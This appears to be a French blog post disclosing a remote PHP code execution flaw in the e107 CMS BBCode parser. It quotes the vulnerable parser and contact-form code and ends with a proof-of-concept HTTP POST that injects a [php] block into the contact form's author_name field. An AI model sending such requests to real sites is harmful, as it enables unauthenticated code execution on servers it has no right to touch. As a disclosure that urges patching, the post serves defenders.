e107 BBCode Remote PHP Code Execution Vulnerability

Bonjour,

Hé oui tout est dans le titre de l’article !!

C’est une faille qui permet aux users non-athentifiés à exécuter du PHP à cause d’une mauvaise implémentation d’accés au niveau du contrôle du BBcode dans le CMS E107 :/ .

Cela est visible ici dans cette fonction du BBcodeParser:

function post_toHTML($text, $modifier = true, $extra = '') {
...

//If user is not allowed to use [php] change to entities
if(!check_class($pref['php_bbcode']))
{
$text = preg_replace("#\[(php)#i", "[\\1", $text);
}

return ($modifier ? $this->toHTML($text, true, $extra) : $text);
}

Or on voit bien qu’un post d’un user peut être transformer en HTML grâce à la fonction toHTML() function !!!

On va prendre un simple exemple : une fonction toEMAIL() :


function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
{
if ($posted === TRUE && MAGIC_QUOTES_GPC)
{
$text = stripslashes($text);
}

$text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
$text = $this->toHTML($text,TRUE,$mods);
return $text;
}

Alors si on utilise cette fonction pour le traitement des inputs de l’user, donc on peut exec du code php sans pbs *_* » !!!!

exemple :

if(isset($_POST['send-contactus'])){

$error = "";

$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
$sender = check_email($_POST['email_send']);
$subject = $tp->toEmail($_POST['subject'],TRUE,"rawtext");
$body = $tp->toEmail($_POST['body'],TRUE,"rawtext");

Proof Of Concept ^^ :

Soit le POST Suivant à travers le code déjà implémenter :


POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&

Donc à vos Patchs :)

Leave a Reply